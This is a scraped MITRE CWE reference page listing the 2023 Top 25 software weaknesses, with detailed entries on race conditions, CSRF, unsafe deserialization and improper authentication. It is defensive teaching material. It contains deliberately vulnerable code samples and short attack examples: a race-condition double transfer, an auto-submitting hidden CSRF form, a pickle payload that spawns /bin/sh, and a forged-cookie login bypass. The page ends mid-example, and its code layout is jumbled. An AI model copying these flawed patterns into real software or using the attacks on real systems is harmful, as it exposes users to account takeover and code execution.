Home > CWE List > VIEW SLICE: CWE-1425: Weaknesses in the 2023 CWE Top 25 Most Dangerous Software Weaknesses (4.16) |
|
CWE VIEW: Weaknesses in the 2023 CWE Top 25 Most Dangerous Software Weaknesses
CWE entries in this view are listed in the 2023 CWE Top 25 Most Dangerous Software Weaknesses.
The following graph shows the tree-like relationships between
weaknesses that exist at different levels of abstraction. At the highest level, categories
and pillars exist to group weaknesses. Categories (which are not technically weaknesses) are
special CWE entries used to group weaknesses that share a common characteristic. Pillars are
weaknesses that are described in the most abstract fashion. Below these top-level entries
are weaknesses are varying levels of abstraction. Classes are still very abstract, typically
independent of any specific language or technology. Base level weaknesses are used to
present a more specific type of weakness. A variant is a weakness that is described at a
very low level of detail, typically limited to a specific language or technology. A chain is
a set of weaknesses that must be reachable consecutively in order to produce an exploitable
vulnerability. While a composite is a set of weaknesses that must all be present
simultaneously in order to produce an exploitable vulnerability.
Show Details:
1425 - Weaknesses in the 2023 CWE Top 25 Most Dangerous Software Weaknesses
Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
Out-of-bounds Write
- (787)
1425
(Weaknesses in the 2023 CWE Top 25 Most Dangerous Software Weaknesses) >
787
(Out-of-bounds Write)
The product writes data past the end, or before the beginning, of the intended buffer.
Memory Corruption
Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
- (79)
1425
(Weaknesses in the 2023 CWE Top 25 Most Dangerous Software Weaknesses) >
79
(Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting'))
The product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users.
XSS
HTML Injection
CSS
Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
- (89)
1425
(Weaknesses in the 2023 CWE Top 25 Most Dangerous Software Weaknesses) >
89
(Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection'))
The product constructs all or part of an SQL command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended SQL command when it is sent to a downstream component. Without sufficient removal or quoting of SQL syntax in user-controllable inputs, the generated SQL query can cause those inputs to be interpreted as SQL instead of ordinary user data.
SQL injection
SQLi
Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.
Use After Free
- (416)
1425
(Weaknesses in the 2023 CWE Top 25 Most Dangerous Software Weaknesses) >
416
(Use After Free)
The product reuses or references memory after it has been freed. At some point afterward, the memory may be allocated again and saved in another pointer, while the original pointer references a location somewhere within the new allocation. Any operations using the original pointer are no longer valid because the memory "belongs" to the code that operates on the new pointer.
Dangling pointer
UAF
Use-After-Free
Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
- (78)
1425
(Weaknesses in the 2023 CWE Top 25 Most Dangerous Software Weaknesses) >
78
(Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection'))
The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component.
Shell injection
Shell metacharacters
OS Command Injection
Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.
Improper Input Validation
- (20)
1425
(Weaknesses in the 2023 CWE Top 25 Most Dangerous Software Weaknesses) >
20
(Improper Input Validation)
The product receives input or data, but it does
not validate or incorrectly validates that the input has the
properties that are required to process the data safely and
correctly.
Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
Out-of-bounds Read
- (125)
1425
(Weaknesses in the 2023 CWE Top 25 Most Dangerous Software Weaknesses) >
125
(Out-of-bounds Read)
The product reads data past the end, or before the beginning, of the intended buffer.
OOB read
Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
- (22)
1425
(Weaknesses in the 2023 CWE Top 25 Most Dangerous Software Weaknesses) >
22
(Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal'))
The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory.
Directory traversal
Path traversal
Composite - a Compound Element that consists of two or more distinct weaknesses, in which all weaknesses must be present at the same time in order for a potential vulnerability to arise. Removing any of the weaknesses eliminates or sharply reduces the risk. One weakness, X, can be "broken down" into component weaknesses Y and Z. There can be cases in which one weakness might not be essential to a composite, but changes the nature of the composite when it becomes a vulnerability.
Cross-Site Request Forgery (CSRF)
- (352)
1425
(Weaknesses in the 2023 CWE Top 25 Most Dangerous Software Weaknesses) >
352
(Cross-Site Request Forgery (CSRF))
The web application does not, or can not, sufficiently verify whether a well-formed, valid, consistent request was intentionally provided by the user who submitted the request.
Session Riding
Cross Site Reference Forgery
XSRF
Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
Unrestricted Upload of File with Dangerous Type
- (434)
1425
(Weaknesses in the 2023 CWE Top 25 Most Dangerous Software Weaknesses) >
434
(Unrestricted Upload of File with Dangerous Type)
The product allows the upload or transfer of dangerous file types that are automatically processed within its environment.
Unrestricted File Upload
Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.
Missing Authorization
- (862)
1425
(Weaknesses in the 2023 CWE Top 25 Most Dangerous Software Weaknesses) >
862
(Missing Authorization)
The product does not perform an authorization check when an actor attempts to access a resource or perform an action.
AuthZ
Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
NULL Pointer Dereference
- (476)
1425
(Weaknesses in the 2023 CWE Top 25 Most Dangerous Software Weaknesses) >
476
(NULL Pointer Dereference)
The product dereferences a pointer that it expects to be valid but is NULL.
NPD
null deref
NPE
nil pointer dereference
Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.
Improper Authentication
- (287)
1425
(Weaknesses in the 2023 CWE Top 25 Most Dangerous Software Weaknesses) >
287
(Improper Authentication)
When an actor claims to have a given identity, the product does not prove or insufficiently proves that the claim is correct.
authentification
AuthN
AuthC
Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
Integer Overflow or Wraparound
- (190)
1425
(Weaknesses in the 2023 CWE Top 25 Most Dangerous Software Weaknesses) >
190
(Integer Overflow or Wraparound)
The product performs a calculation that can
produce an integer overflow or wraparound when the logic
assumes that the resulting value will always be larger than
the original value. This occurs when an integer value is
incremented to a value that is too large to store in the
associated representation. When this occurs, the value may
become a very small or negative number.
Overflow
Wraparound
wrap, wrap-around, wrap around
Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
Deserialization of Untrusted Data
- (502)
1425
(Weaknesses in the 2023 CWE Top 25 Most Dangerous Software Weaknesses) >
502
(Deserialization of Untrusted Data)
The product deserializes untrusted data without sufficiently ensuring that the resulting data will be valid.
Marshaling, Unmarshaling
Pickling, Unpickling
PHP Object Injection
Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.
Improper Neutralization of Special Elements used in a Command ('Command Injection')
- (77)
1425
(Weaknesses in the 2023 CWE Top 25 Most Dangerous Software Weaknesses) >
77
(Improper Neutralization of Special Elements used in a Command ('Command Injection'))
The product constructs all or part of a command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended command when it is sent to a downstream component.
Command injection
Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.
Improper Restriction of Operations within the Bounds of a Memory Buffer
- (119)
1425
(Weaknesses in the 2023 CWE Top 25 Most Dangerous Software Weaknesses) >
119
(Improper Restriction of Operations within the Bounds of a Memory Buffer)
The product performs operations on a memory buffer, but it reads from or writes to a memory location outside the buffer's intended boundary. This may result in read or write operations on unexpected memory locations that could be linked to other variables, data structures, or internal program data.
Buffer Overflow
buffer overrun
memory safety
Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
Use of Hard-coded Credentials
- (798)
1425
(Weaknesses in the 2023 CWE Top 25 Most Dangerous Software Weaknesses) >
798
(Use of Hard-coded Credentials)
The product contains hard-coded credentials, such as a password or cryptographic key.
Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
Server-Side Request Forgery (SSRF)
- (918)
1425
(Weaknesses in the 2023 CWE Top 25 Most Dangerous Software Weaknesses) >
918
(Server-Side Request Forgery (SSRF))
The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination.
XSPA
SSRF
Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
Missing Authentication for Critical Function
- (306)
1425
(Weaknesses in the 2023 CWE Top 25 Most Dangerous Software Weaknesses) >
306
(Missing Authentication for Critical Function)
The product does not perform any authentication for functionality that requires a provable user identity or consumes a significant amount of resources.
Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.
Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition')
- (362)
1425
(Weaknesses in the 2023 CWE Top 25 Most Dangerous Software Weaknesses) >
362
(Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition'))
The product contains a concurrent code sequence that requires temporary, exclusive access to a shared resource, but a timing window exists in which the shared resource can be modified by another code sequence operating concurrently.
Race Condition
Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.
Improper Privilege Management
- (269)
1425
(Weaknesses in the 2023 CWE Top 25 Most Dangerous Software Weaknesses) >
269
(Improper Privilege Management)
The product does not properly assign, modify, track, or check privileges for an actor, creating an unintended sphere of control for that actor.
Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
Improper Control of Generation of Code ('Code Injection')
- (94)
1425
(Weaknesses in the 2023 CWE Top 25 Most Dangerous Software Weaknesses) >
94
(Improper Control of Generation of Code ('Code Injection'))
The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment.
Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.
Incorrect Authorization
- (863)
1425
(Weaknesses in the 2023 CWE Top 25 Most Dangerous Software Weaknesses) >
863
(Incorrect Authorization)
The product performs an authorization check when an actor attempts to access a resource or perform an action, but it does not correctly perform the check.
AuthZ
Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
Incorrect Default Permissions
- (276)
1425
(Weaknesses in the 2023 CWE Top 25 Most Dangerous Software Weaknesses) >
276
(Incorrect Default Permissions)
During installation, installed file permissions are set to allow anyone to modify those files.
View ComponentsA | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z
CWE-362: Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition')
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers.
For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts.
For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers.
For users who wish to see all available information for the CWE/CAPEC entry.
For users who want to customize what details are displayed.
×
Edit Custom FilterA race condition occurs within concurrent environments, and it is effectively a property of a code sequence. Depending on the context, a code sequence may be in the form of a function call, a small number of instructions, a series of program invocations, etc. A race condition violates these properties, which are closely related:
A race condition exists when an "interfering code sequence" can still access the shared resource, violating exclusivity. The interfering code sequence could be "trusted" or "untrusted." A trusted interfering code sequence occurs within the product; it cannot be modified by the attacker, and it can only be invoked indirectly. An untrusted interfering code sequence can be authored directly by the attacker, and typically it is external to the vulnerable product. This table specifies different individual consequences
associated with the weakness. The Scope identifies the application security area that is
violated, while the Impact describes the negative technical impact that arises if an
adversary succeeds in exploiting this weakness. The Likelihood provides information about
how likely the specific consequence is expected to be seen relative to the other
consequences in the list. For example, there may be high likelihood that a weakness will be
exploited to achieve a certain impact, but a low likelihood that it will be exploited to
achieve a different impact.
This table shows the weaknesses and high level categories that are related to this
weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to
similar items that may exist at higher and lower levels of abstraction. In addition,
relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user
may want to explore.
Relevant to the view "Research Concepts" (CWE-1000)
Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)
The different Modes of Introduction provide information
about how and when this
weakness may be introduced. The Phase identifies a point in the life cycle at which
introduction
may occur, while the Note provides a typical scenario related to introduction during the
given
phase.
This listing shows possible areas for which the given
weakness could appear. These
may be for specific named Languages, Operating Systems, Architectures, Paradigms,
Technologies,
or a class of such platforms. The platform is listed along with how frequently the given
weakness appears for that instance.
Languages C (Sometimes Prevalent) C++ (Sometimes Prevalent) Java (Sometimes Prevalent) Technologies Class: Mobile (Undetermined Prevalence) Class: ICS/OT (Undetermined Prevalence) Example 1 This code could be used in an e-commerce application that supports transfers between accounts. It takes the total amount of the transfer, sends it to the new account, and deducts the amount from the original account. (bad code)
Example Language: Perl
$transfer_amount = GetTransferAmount();
$balance = GetBalanceFromDatabase(); if ($transfer_amount < 0) { FatalError("Bad Transfer Amount"); }$newbalance = $balance - $transfer_amount; if (($balance - $transfer_amount) < 0) { FatalError("Insufficient Funds"); }SendNewBalanceToDatabase($newbalance); NotifyUser("Transfer of $transfer_amount succeeded."); NotifyUser("New balance: $newbalance"); A race condition could occur between the calls to GetBalanceFromDatabase() and SendNewBalanceToDatabase(). Suppose the balance is initially 100.00. An attack could be constructed as follows: (attack code)
Example Language: Other
In the following pseudocode, the attacker makes two simultaneous calls of the program, CALLER-1 and CALLER-2. Both callers are for the same user account.
CALLER-1 (the attacker) is associated with PROGRAM-1 (the instance that handles CALLER-1). CALLER-2 is associated with PROGRAM-2. CALLER-1 makes a transfer request of 80.00. PROGRAM-1 calls GetBalanceFromDatabase and sets $balance to 100.00 PROGRAM-1 calculates $newbalance as 20.00, then calls SendNewBalanceToDatabase(). Due to high server load, the PROGRAM-1 call to SendNewBalanceToDatabase() encounters a delay. CALLER-2 makes a transfer request of 1.00. PROGRAM-2 calls GetBalanceFromDatabase() and sets $balance to 100.00. This happens because the previous PROGRAM-1 request was not processed yet. PROGRAM-2 determines the new balance as 99.00. After the initial delay, PROGRAM-1 commits its balance to the database, setting it to 20.00. PROGRAM-2 sends a request to update the database, setting the balance to 99.00 At this stage, the attacker should have a balance of 19.00 (due to 81.00 worth of transfers), but the balance is 99.00, as recorded in the database. To prevent this weakness, the programmer has several options, including using a lock to prevent multiple simultaneous requests to the web application, or using a synchronization mechanism that includes all the code between GetBalanceFromDatabase() and SendNewBalanceToDatabase(). Example 2 The following function attempts to acquire a lock in order to perform operations on a shared resource. (bad code)
Example Language: C
void f(pthread_mutex_t *mutex) {
pthread_mutex_lock(mutex);
/* access shared resource */ pthread_mutex_unlock(mutex); However, the code does not check the value returned by pthread_mutex_lock() for errors. If pthread_mutex_lock() cannot acquire the mutex for any reason, the function may introduce a race condition into the program and result in undefined behavior. In order to avoid data races, correctly written programs must check the result of thread synchronization functions and appropriately handle all errors, either by attempting to recover from them or reporting them to higher levels. (good code)
Example Language: C
int f(pthread_mutex_t *mutex) {
int result;
result = pthread_mutex_lock(mutex); if (0 != result) return result;
/* access shared resource */ return pthread_mutex_unlock(mutex); Example 3 Suppose a processor's Memory Management Unit (MMU) has 5 other shadow MMUs to distribute its workload for its various cores. Each MMU has the start address and end address of "accessible" memory. Any time this accessible range changes (as per the processor's boot status), the main MMU sends an update message to all the shadow MMUs. Suppose the interconnect fabric does not prioritize such "update" packets over other general traffic packets. This introduces a race condition. If an attacker can flood the target with enough messages so that some of those attack packets reach the target before the new access ranges gets updated, then the attacker can leverage this scenario.
This MemberOf Relationships table shows additional CWE Categories and Views that
reference this weakness as a member. This information is often useful in understanding where a
weakness fits within the context of external information sources.
Research Gap
Race conditions in web applications are under-studied and probably under-reported. However, in 2008 there has been growing interest in this area.
Research Gap
Much of the focus of race condition research has been in Time-of-check Time-of-use (TOCTOU) variants (CWE-367), but many race conditions are related to synchronization problems that do not necessarily require a time-of-check.
Research Gap
From a classification/taxonomy perspective, the relationships between concurrency and program state need closer investigation and may be useful in organizing related issues.
Maintenance
The relationship between race conditions and synchronization problems (CWE-662) needs to be further developed. They are not necessarily two perspectives of the same core concept, since synchronization is only one technique for avoiding race conditions, and synchronization can be used for other purposes besides race condition prevention.
CWE-352: Cross-Site Request Forgery (CSRF)
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers.
For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts.
For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers.
For users who wish to see all available information for the CWE/CAPEC entry.
For users who want to customize what details are displayed.
×
Edit Custom FilterThe web application does not, or can not, sufficiently verify whether a well-formed, valid, consistent request was intentionally provided by the user who submitted the request.
When a web server is designed to receive a request from a client without any mechanism for verifying that it was intentionally sent, then it might be possible for an attacker to trick a client into making an unintentional request to the web server which will be treated as an authentic request. This can be done via a URL, image load, XMLHttpRequest, etc. and can result in exposure of data or unintended code execution.
This table specifies different individual consequences
associated with the weakness. The Scope identifies the application security area that is
violated, while the Impact describes the negative technical impact that arises if an
adversary succeeds in exploiting this weakness. The Likelihood provides information about
how likely the specific consequence is expected to be seen relative to the other
consequences in the list. For example, there may be high likelihood that a weakness will be
exploited to achieve a certain impact, but a low likelihood that it will be exploited to
achieve a different impact.
This table shows the weaknesses and high level categories that are related to this
weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to
similar items that may exist at higher and lower levels of abstraction. In addition,
relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user
may want to explore.
Relevant to the view "Research Concepts" (CWE-1000)
Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)
Relevant to the view "Architectural Concepts" (CWE-1008)
The different Modes of Introduction provide information
about how and when this
weakness may be introduced. The Phase identifies a point in the life cycle at which
introduction
may occur, while the Note provides a typical scenario related to introduction during the
given
phase.
This listing shows possible areas for which the given
weakness could appear. These
may be for specific named Languages, Operating Systems, Architectures, Paradigms,
Technologies,
or a class of such platforms. The platform is listed along with how frequently the given
weakness appears for that instance.
Languages Class: Not Language-Specific (Undetermined Prevalence) Technologies Web Server (Undetermined Prevalence) Example 1 This example PHP code attempts to secure the form submission process by validating that the user submitting the form has a valid session. A CSRF attack would not be prevented by this countermeasure because the attacker forges a request through the user's web browser in which a valid session already exists. The following HTML is intended to allow a user to update a profile. (bad code)
Example Language: HTML
<form action="/url/profile.php" method="post">
<input type="text" name="firstname"/> <input type="text" name="lastname"/> <br/> <input type="text" name="email"/> <input type="submit" name="submit" value="Update"/> </form> profile.php contains the following code. (bad code)
Example Language: PHP
// initiate the session in order to validate sessions
session_start(); //if the session is registered to a valid user then allow update if (! session_is_registered("username")) { echo "invalid session detected!"; // Redirect user to login page [...] exit; // The user session is valid, so process the request // and update the information update_profile(); function update_profile { // read in the data from $POST and send an update // to the database SendUpdateToDatabase($_SESSION['username'], $_POST['email']); [...] echo "Your profile has been successfully updated."; This code may look protected since it checks for a valid session. However, CSRF attacks can be staged from virtually any tag or HTML construct, including image tags, links, embed or object tags, or other attributes that load background images. The attacker can then host code that will silently change the username and email address of any user that visits the page while remaining logged in to the target web application. The code might be an innocent-looking web page such as: (attack code)
Example Language: HTML
<SCRIPT>
function SendAttack () {} </SCRIPT> <BODY onload="javascript:SendAttack();"> <form action="http://victim.example.com/profile.php" id="form" method="post"> <input type="hidden" name="firstname" value="Funny"> <input type="hidden" name="lastname" value="Joke"> <br/> <input type="hidden" name="email"> </form> Notice how the form contains hidden fields, so when it is loaded into the browser, the user will not notice it. Because SendAttack() is defined in the body's onload attribute, it will be automatically called when the victim loads the web page. Assuming that the user is already logged in to victim.example.com, profile.php will see that a valid user session has been established, then update the email address to the attacker's own address. At this stage, the user's identity has been compromised, and messages sent through this profile could be sent to the attacker's address.
This MemberOf Relationships table shows additional CWE Categories and Views that
reference this weakness as a member. This information is often useful in understanding where a
weakness fits within the context of external information sources.
Relationship There can be a close relationship between XSS and CSRF (CWE-352). An attacker might use CSRF in order to trick the victim into submitting requests to the server in which the requests contain an XSS payload. A well-known example of this was the Samy worm on MySpace [REF-956]. The worm used XSS to insert malicious HTML sequences into a user's profile and add the attacker as a MySpace friend. MySpace friends of that victim would then execute the payload to modify their own profiles, causing the worm to propagate exponentially. Since the victims did not intentionally insert the malicious script themselves, CSRF was a root cause. Theoretical The CSRF topology is multi-channel:
CWE-502: Deserialization of Untrusted Data
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers.
For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts.
For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers.
For users who wish to see all available information for the CWE/CAPEC entry.
For users who want to customize what details are displayed.
×
Edit Custom Filter
This table specifies different individual consequences
associated with the weakness. The Scope identifies the application security area that is
violated, while the Impact describes the negative technical impact that arises if an
adversary succeeds in exploiting this weakness. The Likelihood provides information about
how likely the specific consequence is expected to be seen relative to the other
consequences in the list. For example, there may be high likelihood that a weakness will be
exploited to achieve a certain impact, but a low likelihood that it will be exploited to
achieve a different impact.
This table shows the weaknesses and high level categories that are related to this
weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to
similar items that may exist at higher and lower levels of abstraction. In addition,
relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user
may want to explore.
Relevant to the view "Research Concepts" (CWE-1000)
Relevant to the view "Software Development" (CWE-699)
Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)
Relevant to the view "Architectural Concepts" (CWE-1008)
The different Modes of Introduction provide information
about how and when this
weakness may be introduced. The Phase identifies a point in the life cycle at which
introduction
may occur, while the Note provides a typical scenario related to introduction during the
given
phase.
This listing shows possible areas for which the given
weakness could appear. These
may be for specific named Languages, Operating Systems, Architectures, Paradigms,
Technologies,
or a class of such platforms. The platform is listed along with how frequently the given
weakness appears for that instance.
Languages Java (Undetermined Prevalence) Ruby (Undetermined Prevalence) PHP (Undetermined Prevalence) Python (Undetermined Prevalence) JavaScript (Undetermined Prevalence) Technologies Class: ICS/OT (Often Prevalent) Example 1 This code snippet deserializes an object from a file and uses it as a UI button: (bad code)
Example Language: Java
try {
File file = new File("object.obj"); }ObjectInputStream in = new ObjectInputStream(new FileInputStream(file)); javax.swing.JButton button = (javax.swing.JButton) in.readObject(); in.close(); This code does not attempt to verify the source or contents of the file before deserializing it. An attacker may be able to replace the intended file with a file that contains arbitrary malicious code which will be executed when the button is pressed. To mitigate this, explicitly define final readObject() to prevent deserialization. An example of this is: (good code)
Example Language: Java
private final void readObject(ObjectInputStream in) throws java.io.IOException {
throw new java.io.IOException("Cannot be deserialized"); } Example 2 In Python, the Pickle library handles the serialization and deserialization processes. In this example derived from [REF-467], the code receives and parses data, and afterwards tries to authenticate a user based on validating a token. (bad code)
Example Language: Python
try {
class ExampleProtocol(protocol.Protocol):
def dataReceived(self, data): # Code that would be here would parse the incoming data # After receiving headers, call confirmAuth() to authenticate def confirmAuth(self, headers): try: token = cPickle.loads(base64.b64decode(headers['AuthToken'])) if not check_hmac(token['signature'], token['data'], getSecretKey()): raise AuthFail self.secure_data = token['data'] except: raise AuthFail Unfortunately, the code does not verify that the incoming data is legitimate. An attacker can construct a illegitimate, serialized object "AuthToken" that instantiates one of Python's subprocesses to execute arbitrary commands. For instance,the attacker could construct a pickle that leverages Python's subprocess module, which spawns new processes and includes a number of arguments for various uses. Since Pickle allows objects to define the process for how they should be unpickled, the attacker can direct the unpickle process to call Popen in the subprocess module and execute /bin/sh.
This MemberOf Relationships table shows additional CWE Categories and Views that
reference this weakness as a member. This information is often useful in understanding where a
weakness fits within the context of external information sources.
CWE-287: Improper Authentication
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers.
For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts.
For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers.
For users who wish to see all available information for the CWE/CAPEC entry.
For users who want to customize what details are displayed.
×
Edit Custom Filter
This table specifies different individual consequences
associated with the weakness. The Scope identifies the application security area that is
violated, while the Impact describes the negative technical impact that arises if an
adversary succeeds in exploiting this weakness. The Likelihood provides information about
how likely the specific consequence is expected to be seen relative to the other
consequences in the list. For example, there may be high likelihood that a weakness will be
exploited to achieve a certain impact, but a low likelihood that it will be exploited to
achieve a different impact.
This table shows the weaknesses and high level categories that are related to this
weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to
similar items that may exist at higher and lower levels of abstraction. In addition,
relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user
may want to explore.
Relevant to the view "Research Concepts" (CWE-1000)
Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)
Relevant to the view "Architectural Concepts" (CWE-1008)
Relevant to the view "CISQ Data Protection Measures" (CWE-1340)
The different Modes of Introduction provide information
about how and when this
weakness may be introduced. The Phase identifies a point in the life cycle at which
introduction
may occur, while the Note provides a typical scenario related to introduction during the
given
phase.
This listing shows possible areas for which the given
weakness could appear. These
may be for specific named Languages, Operating Systems, Architectures, Paradigms,
Technologies,
or a class of such platforms. The platform is listed along with how frequently the given
weakness appears for that instance.
Languages Class: Not Language-Specific (Undetermined Prevalence) Technologies Class: ICS/OT (Often Prevalent) Example 1 The following code intends to ensure that the user is already logged in. If not, the code performs authentication with the user-provided username and password. If successful, it sets the loggedin and user cookies to "remember" that the user has already logged in. Finally, the code performs administrator tasks if the logged-in user has the "Administrator" username, as recorded in the user cookie. (bad code)
Example Language: Perl
my $q = new CGI;
if ($q->cookie('loggedin') ne "true") { if (! AuthenticateUser($q->param('username'), $q->param('password'))) {
ExitError("Error: you need to log in first"); }else { # Set loggedin and user cookies.
$q->cookie( -name => 'loggedin',
-value => 'true' ); $q->cookie( -name => 'user',
-value => $q->param('username') ); if ($q->cookie('user') eq "Administrator") { DoAdministratorTasks(); }Unfortunately, this code can be bypassed. The attacker can set the cookies independently so that the code does not check the username and password. The attacker could do this with an HTTP request containing headers such as: (attack code)
GET /cgi-bin/vulnerable.cgi HTTP/1.1
